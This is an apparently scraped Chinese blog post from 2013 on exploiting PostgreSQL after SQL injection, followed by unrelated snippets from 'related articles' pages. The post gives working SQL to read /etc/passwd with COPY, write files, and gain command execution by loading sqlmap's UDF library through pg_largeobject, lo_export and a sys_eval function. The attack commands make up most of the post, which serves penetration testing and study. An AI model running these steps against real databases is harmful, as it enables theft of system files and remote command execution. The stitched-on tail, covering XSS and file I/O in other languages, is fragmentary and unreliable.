PostgreSql那点事(文件读取写入、命令执行的办法)

? 2013/07/9 作者: admin

PostgreSql那点事(文件读取写入、命令执行的办法)

今天无意发现了个PostgreSQL环境,线上学习了下,一般的数据注射(读写数据库)差异不大,不做讨论,个人比较关心PostgreSQL的文件读取和命令执行方面。

1,文件读取/写入

PostgreSQL 8.1 以后提供了一组现成的文件操作函数
pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、
pg_read_file()、pg_length_file(),用这些就可以胡作非为了?你错了。。。

可以用这个函数直接读取/etc/passwd?实际情况下测试并未成功,因为pg_xxx这个adminpack将权限限制在了./postgresql/data下面。

a)比如列目录

b)读取权限允许的文件

还有个写文件函数测试并未成功,而且只能像data下写也是满足不了需求的。

c)比较可行的文件读取方案

Default

drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM ‘/etc/passwd‘;
SELECT * FROM wooyun limit 1 offset 0;

1

2

3

4

drop table wooyun;

CREATE TABLE wooyun(t TEXT);

COPY wooyun FROM ‘/etc/passwd‘;

SELECT * FROM wooyun limit 1 offset 0;

利用注射修改偏移值很快就可以遍历出来了,但是还是有点寒碜,直接读出全部数据

Default

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
COPY wooyun(t) FROM ‘/etc/passwd‘;
SELECT * FROM wooyun;

1

2

3

4

DROP TABLE wooyun;

CREATE TABLE wooyun (t TEXT);

COPY wooyun(t) FROM ‘/etc/passwd‘;

SELECT * FROM wooyun;

d)写入文件

Default

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES (‘hello wooyun‘);
COPY wooyun(t) TO ‘/tmp/wooyun‘;

1

2

3

4

DROP TABLE wooyun;

CREATE TABLE wooyun (t TEXT);

INSERT INTO wooyun(t) VALUES (‘hello wooyun‘);

COPY wooyun(t) TO ‘/tmp/wooyun‘;

读一下看看是否存在

Bingo~

2,命令执行

这里大概有三种方式

a)利用 libc 中的 system() 函数

很多文章会让我们添加一个到libc库的自定义功能函数

Default

CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6‘, ‘system‘ LANGUAGE ‘C‘ STRICT;

1

CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6‘, ‘system‘ LANGUAGE ‘C‘ STRICT;

但是返回错误

Error : ERROR:  incompatible library “/lib64/libc.so.6”: missing magic block

HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

这是因为当PostgreSQL加载外部动态库的时候,会检查MAGIC
DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请
看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码。

这样一来就等同于建立了一个“白名单”,系统自带的库默认我不再允许动态加载,所以此路不通(也许低版本走的通,但我手里这个不行)。

给一个 Pg_magic_func 代码样例:

Default

extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
const Pg_magic_struct *
Pg_magic_func(void)
{
static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
return &Pg_magic_data;
}

1

2

3

4

5

6

7

extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);

const Pg_magic_struct *

Pg_magic_func(void)

{

static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;

return &Pg_magic_data;

}

b)利用Perl/Python脚本语言功能

在zone上看过一帖,http://zone.wooyun.org/content/1591,很纳闷为什么这样定义函数就可以执行系统命令,plperlu又是啥,经过资料的挖掘,发现是PostgreSQL自带的一种程序语言支持。

具体可见这里(http://www.postgresql.org/docs/8.3/static/xplang.html)。

大概意思就是PostgreSQL允许用除了SQL和C的其他语言来编写函数,但这个很悲剧啊,我的环境没有安装PostgreSQL的Python和Perl支持,待我弄个环境在来实现下过程。

c)利用C语言自定义函数

Perl、Python都能在PostgreSQL自定义了更不用说C了。这个在sqlmap的udf目录下有现成的,而且还是根据版本加了Pg_magic_func函数的,可以加载。。。牛鞭!

Default

FengGou:8.4 $ pwd
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
FengGou:8.4 $ ls
lib_postgresqludf_sys.so

1

2

3

4

FengGou:8.4 $ pwd

/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4

FengGou:8.4 $ ls

lib_postgresqludf_sys.so

将sqlmap的so文件转为16进制的代码,

Default

7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...

1

7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...

老他么长的一段,怎么还原成二进制的so库文件呢?这里感谢 @瞌睡龙 提供的Tips,这里用到了PostgreSQL的pg_largeobject“大对象数据”,官方原文:pg_largeobject 表保存那些标记着”大对象”的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者”页面”以便以行的形式存储在 pg_largeobject 里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)。

a)查看PostgreSQL目录

Default

SELECT setting FROM pg_settings WHERE name=‘data_directory‘;

1

SELECT setting FROM pg_settings WHERE name=‘data_directory‘;

b)查询oid

Default

select lo_creat(-1);

1

select lo_creat(-1);

oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。

c)oid与上面保持一致

Default

delete from pg_largeobject where loid=18412;

1

delete from pg_largeobject where loid=18412;

等于变相清空”页面”,不要干扰库的生成

d)把16进制的so文件塞进去

Default

insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode(‘7F454CXXXXXXXXX000‘, ‘hex‘));

1

insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode(‘7F454CXXXXXXXXX000‘, ‘hex‘));

e)利用PostgreSQL自带函数将大型对象导出到文件

Default

SELECT lo_export(18412, ‘cmd.so‘);

1

SELECT lo_export(18412, ‘cmd.so‘);

f)建立UDF

Default

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS ‘/xxx/cmd.so‘, ‘sys_eval‘ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

1

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS ‘/xxx/cmd.so‘, ‘sys_eval‘ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

g)调用这个UDF

Default

select sys_eval(‘id‘);

1

select sys_eval(‘id‘);

也许服务器没装PostgreSQL的Perl、Python支持,但是C库是通用的。

相关文章《Postgresql注入语法指南》《postgresql读写文件和破解密码

参考:

[1]PostgreSQL SQL Injection Cheat Sheet

http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

[2]OWASP Backend Security Project Testing PostgreSQL

https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

[3]PostGreSQL注入学习(续篇)

http://www.hackol.com/news/201007270731289820885.shtml

[4]PostgreSQL Adminpack

http://www.postgresql.org/docs/8.4/static/adminpack.html

[5]PostgreSQL 外部动态连接库魔法块的使用

http://my.oschina.net/quanzl/blog/136907

[6]Chapter 37. Procedural Languages

http://www.postgresql.org/docs/8.3/static/xplang.html

[7]postgresql “初级”注入大法

http://zone.wooyun.org/content/1591

[8]pg_largeobject

http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

link:http://zone.wooyun.org/content/4971

时间: 2024-10-10 05:26:21

PostgreSql那点事(文件读取写入、命令执行的办法)的相关文章

html外部文件读取/写入

1.文件的读取 外部文件读取控件: <input type="file" id="file_jquery" onchange="file_jquery(this.id)"/> 调用函数: function file_jquery(id){ var a = $("#"+id); var selectedFile = $("#"+id)[0].files[0]; console.log(a); co

xss文件上传命令执行

什么是XSSXSS 又叫CSS(Cross site Scripting)跨站脚本工具,常见的WEB漏洞之一,再2013年度OWASP TOP 10 中排名第三 XSS 是指***者再网页中嵌入客户端脚本,通常是JS恶意代码,当用户使用浏览器访问被嵌入恶意代码网页时,就会再用户浏览器上执行. XSS有什么危害网络钓鱼,窃取用户Cookise,弹广告刷流量,具备改页面信息,删除文章,获取客户端信息,传播蠕虫 XSS的三种类型反射型,存储型,Dom型 反射型又称非持久型XSS,最容易出现的一种XSS

python学习笔记6-输入输出与文件读取写入

(1)打印到屏幕:print (2)读取键盘输入:input/raw_input 1 #键盘输入 2 str = raw_input("Please enter:"); 3 print ("你输入的内容是: ", str) 4 5 str = input("Please enter:"); 6 print ("你输入的内容是: ", str) (3)打开文件 open 关闭close 读取read 1 #打开与关闭文件 2 #

JAVA 文件读取写入后 md5值不变的方法

假如我们想把某文件读入 StringBuffer 并写入新文件,新文件md5值需要保持不变(写入新文件后保证和源文件一模一样), 我们就需要在操作 StringBuffer 时附加换行符: 1 StringBuffer sb = new StringBuffer(); 2 Reader rd = null; 3 BufferedReader br = null; 4 5 rd = new FileReader("E:/绮萝酶是女装的男孩子.html"); 6 br = new Buff

Python txt文件读取写入字典的方法(json、eval)

一.使用json转换方法 1.字典写入txt import json dic = { 'andy':{ 'age': 23, 'city': 'beijing', 'skill': 'python' }, 'william': { 'age': 25, 'city': 'shanghai', 'skill': 'js' } } js = json.dumps(dic) file = open('test.txt', 'w') file.write(js) file.close() 2.读取txt

有关文件读取写入 和两种文件打开模式的理解

文件有两种打开模式:文本模式和二进制模式 当c语言程序对文件操作时,先以某种模式打开文件,建立一个缓存去(读写模式下两个):缓存区中有文件的控制信息,然后用I/O函数操作文件. 对于fread和fwrite函数,不管文件是以什么模式打开的,fread和fwrite只会原样复制原始数据,而其他函数可能会对原始函数进行转化. 之后我们再用应用程序打开文件,取决于应用程序对文件的解释. 先写到这,等以后更加深一步了解了再补充.

文件读取/写入

这是我为了记录知识随写,不喜勿喷 步骤: 1.创建文件流 FileStream fs=new FileStream("路径名称",FileMethod.提交方式,FileAccess.获取方式); 2.创建读写器 文本文件写:StreamWriter sw=new StreamWriter(fs); 文文文件读:StreamReader sr=new StreamReader(fs); //二进制文件写:BinaryWriter bw=new BinaryWriter(fs); //二

php之文件读取写入操作

http://www.jb51.net/article/28167.htm <?php $content="老黄";if(file_exists("PHP.txt")){ $fp=fopen("PHP.txt",'ab'); while(!feof($fp)) { echo fgets($fp,4096); } fclose($fp); } 获取文件大小 $filename="PHP.txt";echo $filenam

linux文件相关的命令

1.linux下的文件分为字符设备文件和块设备文件 2.文件的属性有读写权限.执行权限.访问时间.修改时间.状态改变时间等. 状态改变时间指修改了文件的读写权限或者所有者等操作. 3.ls -l 执行 ls -l 输出以下内容 [[email protected] dev]# ls -l 总用量 24 crw-rw----+ 1 root root 14, 12 12-21 22:56 adsp crw------- 1 root root 10, 175 12-21 22:56 agpgart